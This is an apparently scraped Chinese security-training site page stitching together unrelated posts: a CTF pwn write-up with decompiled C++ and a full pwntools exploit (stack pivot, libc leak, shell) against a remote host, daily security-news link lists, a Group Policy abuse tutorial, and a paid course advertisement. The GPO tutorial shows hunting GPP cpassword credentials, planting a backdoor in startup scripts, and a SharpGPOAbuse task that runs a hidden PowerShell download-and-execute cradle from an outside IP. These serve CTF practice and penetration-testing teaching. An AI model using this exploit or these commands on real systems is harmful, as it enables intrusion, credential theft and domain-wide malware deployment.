__int64 v4; // rax
__int64 v5; // rax
__int64 v6; // rax
char s2[32]; // [rsp+0h] [rbp-20h] BYREF
init();
do
{
v3 = std::operator<<<std::char_traits<char>>(
&std::cout,
"The new year is coming, and the naughty beast has come to the world again. As a brave pwner, please send it home");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Little ones, throw up your firecrackers!!!!!!!");
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
std::operator>><char,std::char_traits<char>>(&std::cin, name);
if ( strlen(name) > 0x10 )
{
v5 = std::operator<<<std::char_traits<char>>(&std::cout, &unk_4020B8);
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
exit(0);
}
getchar();
v6 = std::operator<<<std::char_traits<char>>(&std::cout, "Do you wanna try again?");
std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
std::istream::get((std::istream *)&std::cin, s2, 0x30LL);
}
while ( !strcmp("Y", s2) );
return 0;
}
不熟悉的人看可能感觉很乱,其实有些东西是可以不看的例如
std::operator<<<std::char_traits<char>>
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
这些不过是c++自己的一些数据处理,我们要关注的是
std::operator<<<std::char_traits<char>>这个函数里面的参数,
例如下面这个
std::istream::get((std::istream *)&std::cin, s2, 0x30LL);
cin输入,往s2输入0x30大小的内容,类比可以看出输出的语句
顺带提一嘴,c++的输入输出都是靠std::operator%3C%3Cstd::char_traits%3Cchar<<<>这个函数实现的,实现内容区别就在于第一个参数
cout就是输出cin就是输入,后面的参数再添加对应的就是cout的内容或者cin的内容及大小
OK 我们回归正题,分析程序可以得知
v5 = std::operator%3C%3Cstd::char_traits%3Cchar<<<>(&std::cout, &unk_4020B8);
可能存在栈溢出cin没有做大小限制,但是他是在往bss段读入东西,所以没有溢出的可能性
std::istream::get((std::istream *)&std::cin, s2, 0x30LL);
这里溢出了0x10,可以栈迁移
那么结合起来就是先往bss段构造rop,利用栈迁移执行就行了,至于if ( strlen(name) > 0x10 )这个检测,我们直接填入0字节就可以绕过
剩余的操作无非就和典例一是一样的,这里注意的是c++的函数参数填充关系即可
pay=flat('\x00'*0x900,ret*0x20,rdi,cout,rsi,setbuf,0,std,main)
填充0x900的junk code 用来绕过以及填充到合适的地方布局,ret*0x20用来抬栈,这个看情况而定,本题不抬栈会破坏栈结构无法正确的传入参数,rdi,cout,rsi,setbuf,0,std,main这里翻译过来就是如下
std(cout,setbuf.got,0) 返回地址是main。
以上操作泄露了libc直接乱杀了,第二次栈迁移就是直接构造getshell的rop链就行了
exp
from pwn import *
#r=process('./boom')
r=remote('47.107.51.210',6790)
context.log_level='debug'
context.arch = 'amd64'
rdi=0x00000000004014c3
rsi=0x00000000004014c1
ret=0x00000000004014c4
main=0x4012DA
std=0x401130
setbuf=0x404018
cout=0x4040C0
bss=0x0404320
leave=0x4013F8
r.recv()
pay=flat('\x00'*0x900,ret*0x20,rdi,cout,rsi,setbuf,0,std,main)
r.sendline(pay)
r.recv()
pay=flat('\x00'*0x20,bss+0x900,leave)
r.sendline(pay)
r.recvuntil("Do you wanna try again?\n")
libc=u64(r.recv(6)+b'\x00'*2)-0x087e60
sys=libc+0x055410
sh=libc+0x1b75aa
print(hex(libc))
r.recv()
pay=flat('\x00'*0x600,ret*0x20,rdi,sh,ret,sys,main)
r.sendline(pay)
r.recv()
pay=flat('\x00'*0x20,bss+0x600,leave)
r.sendline(pay)
r.interactive()
题目及其exp打包如下
链接:https://pan.baidu.com/s/1PWPdoUzBm5oJatSz_A4BFA
提取码:87zc
--来自百度网盘超级会员V3的分享
网络安全日报 2021年12月22日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、微软敦促客户修补最近的 Active Directory 漏洞
https://www.securityweek.com/microsoft-urges-customers-patch-recent-active-directory-vulnerabilities 2、Garrett 步行通过式金属探测器受潜在严重漏洞的影响
https://www.securityweek.com/vulnerabilities-can-allow-hackers-tamper-walk-through-metal-detectors 3、研究人员在德国 Auerswald VoIP 系统中发现秘密后门
https://thehackernews.com/2021/12/secret-backdoors-found-in-german-made.html 4、育碧披露《舞力全开》游戏涉及客户信息的数据泄露
https://portswigger.net/daily-swig/ubisoft-confirms-just-dance-video-game-data-breach 5、新的 Abcbot 僵尸网络以阿里、腾讯等云平台托管的 Linux 服务器为目标
https://therecord.media/new-abcbot-botnet-goes-after-chinese-cloud-providers/ 6、WSL 中运行的 Visual Studio Code server 被发现存在 RCE 漏洞
https://parsiya.net/blog/2021-12-20-rce-in-visual-studio-codes-remote-wsl-for-fun-and-negative-profit/ 7、网络钓鱼活动冒充辉瑞公司窃取商业和财务信息
https://www.bleepingcomputer.com/news/security/phishing-attacks-impersonate-pfizer-in-fake-requests-for-quotation/ 8、英国国家犯罪署与HIBP网站分享了超过5.85亿个被盗密码
https://therecord.media/the-nca-shares-585-million-passwords-with-have-i-been-pwned/ 9、美国医疗保健提供商Texas ENT超50万患者数据遭泄露
https://portswigger.net/daily-swig/healthcare-provider-texas-ent-alerts-535-000-patients-to-data-breach 10、研究发现多个K-12学校应用存在严重的安全风险
https://therecord.media/study-finds-serious-security-risks-in-k-12-school-apps/
组策略(GPO)利用与横向移动
组策略(GPO)利用与横向移动
组策略介绍
组策略(英语:Group Policy)是微软https://baike.baidu.com/item/Windows%20NT家族https://baike.baidu.com/item/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F的一个特性,它可以控制用户帐户和计算机帐户的工作环境。组策略提供了操作系统、应用程序和https://baike.baidu.com/item/%E6%B4%BB%E5%8A%A8%E7%9B%AE%E5%BD%95中用户设置的集中化管理和配置。组策略的其中一个版本名为本地组策略(缩写“LGPO”或“LocalGPO”),这可以在独立且
通过使用组策略,你可以设置策略设置一次,然后将该设置复制到多台计算机上。 例如,你可以在链接到域的 GPO 中设置多个 Internet Explorer11 安全设置,然后将所有这些设置应用到域中的每台计算机。
组策略分类
本地组策略
本地组策略(Local Group Policy,缩写LGP或LocalGPO)是组策略的基础版本,它面向独立且非域的计算机。至少Windows XP家庭版中它就已经存在,并且可以应用到域计算机。在Windows Vista以前,LGP可以强制施行组策略对象到单台本地计算机,但不能将策略应用到用户或组。从Windows Vista开始,LGP允许本地组策略管理单个用户和组,并允许使用“GPO Packs”在独立计算机之间备份、导入和导出组策略——组策略容器包含导入策略到目标计算机的所需文件。
开始->运行->键入"gpedit.msc"->本地组策略编辑器->window设置(system)->脚本->启动->属性
显示文件:
C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup
把我们的后门程序复制到这个路径,然后这个脚本开机就会自动加载执行了
域组策略
当机器安装了域环境的时候,系统管理工具会多出一个功能(组策略管理),通过它,域管理员能够很方便统一地对域内的机器和用户进行统一管理。
域管理员经常会面对一个这样的问题,域成员机子的默认本地管理员密码过于简单,想进行批量修改的时候,这个时候就可以利用组策略来进行任务的批量下发。
通过在域中下发脚本来执行
在组策略首选项GPP中进行设置
本地管理员密码解决方案:LAPS(不细说这个内容,这是解决这个问题很好的方案)
这里需要了解下AD域中两个默认的共享文件夹:SYSVOL NETLOGON
NETLOGON目录
挂载点:SYSVOL\domain\SCRIPTS 主要存放的是一些脚本信息,是AD活动目录安装时候自动创建的,是在sysvol下面的一个子目录文件夹
SYSVOL目录
SYSVOL目录是AD域中的一个共享文件夹,该文件夹在AD活动目录安装时候被创建。通常用来存放组策略数据 和 一些脚本 配置文件,这些策略和脚本将用于传递给域成员机器。
此外,域控机器之间因为要自动同步域数据,SYSVOL文档允许该域内的所有DC机之间进行复制,并且所有的AD用户都可以访问它
在域中,用户登录(计算机)时,会首先在SYSVOL文件查找GPO和启动脚本。同时,为了保证系统的正常运行,必须为SYSVOL保留足够的空间缓存,而且不能随意删除、改动该文件夹,要不然会出现一些组策略无法启用等报错信息
该目录由于针对的是域内所有机器和用户,所以域内中的合法用户均可以访问和执行该目录的文件。(普通的域用户也可以)
如果更改权限,这个地方会显示拒绝访问
* 组策略链接
以Default Domain Policy为例,在右边的作用域里面,可以看到它链接到demo.com整个域,也就是说在demo.com域内的所有计算机,用户都会受到这条组策略的影响。链接的位置可以是站点、域以及OU。
比如说xsf这条组策略。它就链接到xs这个OU。加入xs这个OU的所有计算机以及用户会受到影响。
* 组策略内容
右键组策略,选择保存报告,可以将组策略的内容导出为htlm。
可以看到它配置的一些内容,设置密码最长期限为42天,最短密码长度为7个字符等。
如果想配置这条组策略的内容,在组策略条目上右键编辑,打开组策略编辑器。可以看到左边分为计算机配置以及用户配置。在里面的配置分别作用于计算机和用户。
在配置底下又分为策略以及首选项。首选项是Windows Server 2008发布后用来对GPO中的组策略提供额外的功能。策略和首选项的不同之处就在于强制性。策略是受管理的、强制实施的。而组策略首选项则是不受管理的、非强制性的。
对于很多系统设置来说,既可以通过策略设置来实现,也可以通过策略首选项来实现,二者有相当一部分的重叠。
* 组策略更新
默认情况下,客户端更新组策略的方式主要有
后台轮询检查sysvol里的GPT.ini,如果版本高于本地保存的组策略版本,客户端将会更新本地的组策略。轮询的时间是,默认情况下,计算机组策略会在后台每隔90分钟更新一次,并将时间作0到30分钟的随机调整。域控制器上的组策略会每隔5分钟更新一次。
用户开机登录时,会检查sysvol里的GPT.ini,如果高于本地保存的组策略版本,将会更新本地的组策略。
客户端强制更新,执行gpupdate /force。
域控强制客户端更新(不会比较域共享目录中组策略的版本),执行Invoke-GPUpdate -Computer "TESTwin10" -Target "User"(2008 R2默认不支持该命令,2012支持)
组策略应用顺序:
应用本地组策略 → 如果有站点组策略则应用 → 应用域策略 → 应用OU上的策略。
如果同一个OU上链接了多个GPO,则按照链接顺序从高到低逐个应用。如果多个组策略设置冲突,则后应用的组策略覆盖先应用的组策略。
* 组策略存储
每条组策略可以看做是存储在域级别的一个虚拟对象,叫做GPO。每个GPO有唯一标志,用来标识每条组策略(或者说每个GPO),GPO在域内存储分为两个部分:GPC、GPT。
GPC位于LDAP中,CN=Policies,CN=System,<BaseDn>下,每个条目对应一个GPC。包含了GPO属性,例如版本信息,GPO状态和其他组件设置。
GPT位于\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies中。域内任何人都可以读取\\<DOMAIN>\SYSVOL\<DOMAIN>\这个默认的共享路径下的内容。
GPC里面的gPCFileSysPath属性链接到GPT里面。GPT是一个文件系统文件夹,其中包含由.adm文件,安全设置,脚本文件以及有关可用于安装的应用程序的信息指定的策略数据。
在域、站点、OU上的gPLink属性来标识链接到这里的组策略,gPOptions属性来标识组策略是否会继承。
组策略利用
GPO常用命令
#加载GroupPolicy模块 (win7没有,win10有)
Import-Module GroupPolicy –verbose
#获得所有GPO的内容
Get-GPO -All
#将所有GPO导出为一个HTML报告
Get-GPOReport -All -ReportType html -Path C:\GposReport\GposReport.html
#将每个GPO单独导出一个HTML报告
Get-GPO -All | %{
Get-GPOReport -name $_.displayname -ReportType html -path ("c:\GPOReports\"+$_.displayname+".html")
}
#查看指定GPO的权限设置
Get-GPPermission -Name "客服部组策略" -All
#备份指定GPO
Backup-Gpo -Name TestGPO1 -Path C:\GpoBackups
#备份所有GPO
Backup-Gpo -All -Path "c:\GpoBackups"
#还原指定GPO
Restore-GPO -Name TestGPO1 -Path C:\GpoBackups
#还原所有GPO
Restore-GPO -All -Path "c:\GpoBackups"
利用SYSVOL还原组策略中的密码
如果在组策略中输入了密码,如以用户身份运行程序、修改域内主机内置administrator用户密码等操作。
然后可以在GPT中看到加密后的密码(AES-256)
C:\Windows\SYSVOL\domain\Policies\{0EA52652-3A0D-4135-8BD7-92EFF59CB765}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
可以通过以下命令来快速搜索(网上有解密方法)
findstr /S cpassword \\192.168.40.154\sysvol\*.xml
for /r \\192.168.40.154/sysvol %i in (*.xml) do @echo %i
得到cpassword后可以通过kali中的gpp-decryp 去解密
利用https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1,自动查询共享文件夹\SYSVOL中的文件,还原出所有明文密码。
组策略横向
在拿到域控之后,有时候可能网络ACL到达不了目标电脑,可以通过组策略进行横向。攻击者可以利用组策略来推出恶意软件、创建/修改计划任务、降级凭据保护、向所有计算机添加新的本地帐户被添加到本地管理员组。更改现有的安全策略,启用明文密码提取。
实验环境如下:
域控:AD-2008(192.168.40.154),demo\administrator:vulnstack4.
域机器:win7(192.168.40.157),demo\administrator:vulnstack4.
目前已经拿下域控,域成员机开启了防火墙,并且禁止了445,135等端口的访问,传统的psexec和winrm以及pth等横向移动无法直接拿下成员机
计划任务
自Windows Server 2008开始,GPO开始支持计划任务,便于管理域中的计算机和用户。
https://github.com/FSecureLABS/SharpGPOAbuse
创建GPO
powershell -c Import-Module GroupPolicy;new-gpo -name TestGP02
将GPO链接到域demo.com,需要域管权限。
powershell -c Import-Module GroupPolicy;new-gplink -name TestGP02 -Target "dc=demo,dc=com"
#添加定时任务 --TargetDnsName指定计算机
execute-assembly F:\\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update2" --Author demo\\administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://119.45.175.218/payload.ps1'))\"" --GPOName "TestGP02" --FilterEnabl
即时任务会在组策略同步的时候强制执行一次,组策略每90分钟自动同步一次。
在组成员中强制更新组策略,或者默认等待90分钟等待组策略强制更新
gpupdate /force
这时候可以看到域成员机上线
删除gpo
powershell -c Import-Module GroupPolicy;Remove-GPO -Name TestGPO2
参考:
https://xz.aliyun.com/t/9511https://www.anquanke.com/post/id/203151#h3-22
网络安全日报 2021年12月21日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、勒索软件运营商泄露了从物流巨头 Hellmann 窃取的数据
https://www.securityweek.com/ransomware-operators-leak-data-stolen-logistics-giant-hellmann 2、比利时国防部遭受利用 Log4Shell 的网络攻击
https://securityaffairs.co/wordpress/125813/cyber-warfare-2/belgian-defense-ministry-hit-cyberattack.html 3、研究人员发现新的安全漏洞影响 2G 及之后所有蜂窝网络
https://thehackernews.com/2021/12/new-mobile-network-vulnerabilities.html 4、一种新的攻击方法可利用本地服务器上的 Log4Shell 漏洞
https://securityaffairs.co/wordpress/125800/hacking/log4shell-vulnerability-attack-vector.html 5、Apache已发布Log4j 2.17版本修复了一个拒绝服务漏洞
https://www.govinfosecurity.com/time-to-patch-again-apache-releases-217-fixing-dos-a-18153 6、西部数据敦促客户更新他们的My Cloud设备
https://www.bleepingcomputer.com/news/security/western-digital-warns-customers-to-update-their-my-cloud-devices/ 7、德国音响科技巨头森海塞尔55GB客户数据遭泄露
https://www.hackread.com/german-audio-tech-sennheiser-expose-customers-data/ 8、VMware 修补 Workspace ONE Access 中的多个漏洞
https://www.securityweek.com/vmware-patches-vulnerabilities-workspace-one-access 9、TellYouThePass 勒索软件正利用 Log4Shell卷土重来
https://www.freebuf.com/articles/316267.html 10、国家工信安全中心发布《网络安全威胁情报行业发展报告(2021年)》
http://www.etiri.com.cn/web_root/webpage/articlecontent_101006_1470613962792898561.html
2022年网络安全高级研修班 · 邀请函
为深入学习贯彻习近平总书记关于网络强国的战略思想和关于网络安全的重要论述,落实“十四五”规划和2035年远景目标纲要对网络安全工作的重要部署,把握当前国际国内、教育系统网络安全工作面临的新形势,加强网络安全宣传教育和人才培养,助力学校打造经验丰富的网安教学师资队伍,全面提升网络安全技能实战教学水平。特针对CTF竞赛、CTF实战训练等热点需求,举办此次“2022年网络安全高级研修班”。
一、会议组织
指导单位:中国网络空间安全人才教育论坛
主办单位:湖南蚁景科技有限公司
二、会议内容
本次会议主要针对CTF竞赛的PWN方向实战实训,内容涵盖CTF PWN基础、栈溢出原理、基本栈溢出CTF题目讲解、基本堆溢出CTF题目讲解 、 AWD线下PWN讲解,以及 CTF实战演练等。
CTF PWN基础: CTF PWN介绍、必备工具安装以及使用。
栈溢出原理: 基本栈溢出、rop介绍与编写。
基本栈溢出CTF题目讲解: 进阶rop、进阶rop实战、改写got表getshell方法、CTF栈题的一般利用思路、CTF真题讲解。
基本堆溢出CTF题目讲解: linux动态内存管理机制、调试堆的方法、通用的堆漏洞利用思路、CTF真题讲解。
AWD线下PWN讲解: AWD比赛PWN手需要做的工作、AWD真题讲解、常见pwn漏洞类型以及修补。
CTF实战演练: CTF比赛体验、CTF比赛题目讲解。
三、参会对象
全国高校、职业院校计算机相关专业(信息安全、计算机科学与技术、网络安全、信息科学与工程、软件工程、网络工程 等)学科带头人、专业骨干教师、实验室人员参加。
四、参会收获
1、了解CTF最新发展动态,与讲师互动交流。
2、掌握CTF PWN必备工具运用、栈溢出原理以及利用、堆漏洞分析与利用,线下赛AWD模式的Patch技巧等实战技能。
3、熟悉CTF PWN比赛题型,亲历CTF真题与实战演练。
4、获得由中国网络空间安全人才教育论坛颁发的证书。
五、会议安排
1、会议方式: 线上+ 线下 同步开展
2、会议时间:2022 年 1 月 17 日- 1 月 21 日
3 、报到地点:湖南长沙
4 、会议地点:湖南长沙
5 、会议规模:50人
六、会议报名
1、报名时间:即日起至2022 年 1 月 16 日
2、报名邮箱:EDU@antvsion.com
3、电话咨询: 宋老师 13657413038
4、培训费: 3680 元/人( 含培训资料, 线上参会人员提供录播视频, 线下参会人员路费和食宿费用自理,需自带电脑)
5、 付款方式:
◆ 线上汇款: ( 请务必在备注栏里注明“学校名+参会者姓名” )
公司名称:湖南蚁景科技有限公司
开户行名称:北京银行长沙麓谷支行
开户行账号:2000 0044 8649 0003 6286 388
◆ 现场缴费:现金、扫码或刷卡(银行卡、公务卡均可)
具体课程内容
扫描下方二维码即可报名:
网络安全日报 2021年12月20日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、VMware 修补了 Workspace ONE UEM 控制台中的严重漏洞
https://www.securityweek.com/vmware-patches-critical-flaw-workspace-one-uem-console 2、Clop 勒索软件团伙正在泄露英国警方的机密数据
https://securityaffairs.co/wordpress/125792/cyber-crime/clop-ransomware-uk-police.html 3、Apache 发布第三个补丁修复新的 Log4j2 漏洞
https://securityaffairs.co/wordpress/125760/hacking/log4j-third-flaw.html 4、Conti 勒索软件利用Log4Shell漏洞攻击vCenter服务器
https://securityaffairs.co/wordpress/125741/cyber-crime/conti-ransomware-exploit-log4shell.html 5、无文件恶意软件DarkWatchman利用Windows注册表逃避检测
https://thehackernews.com/2021/12/new-fileless-malware-uses-windows.html 6、NSO零点击iMessage漏洞影响iOS 14.7.1及更早版本
https://www.hackread.com/nso-zero-click-imessage-exploit-hack-iphone-no-click/ 7、Hive勒索软件团伙在四个月内入侵了数百个组织
https://www.bleepingcomputer.com/news/security/hive-ransomware-enters-big-league-with-hundreds-breached-in-four-months/ 8、Joker恶意软件潜伏在Color Message应用程序中向用户收费
https://threatpost.com/malicious-joker-app-downloads-google-play/177139/ 9、网络安全公司Avast在美国联邦机构网络中发现后门
https://www.govinfosecurity.com/backdoor-discovered-in-us-federal-agency-network-a-18147 10、谷歌表示超过35000个Java包受Log4j漏洞的影响
https://therecord.media/google-more-than-35000-java-packages-impacted-by-log4j-vulnerabilities/
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

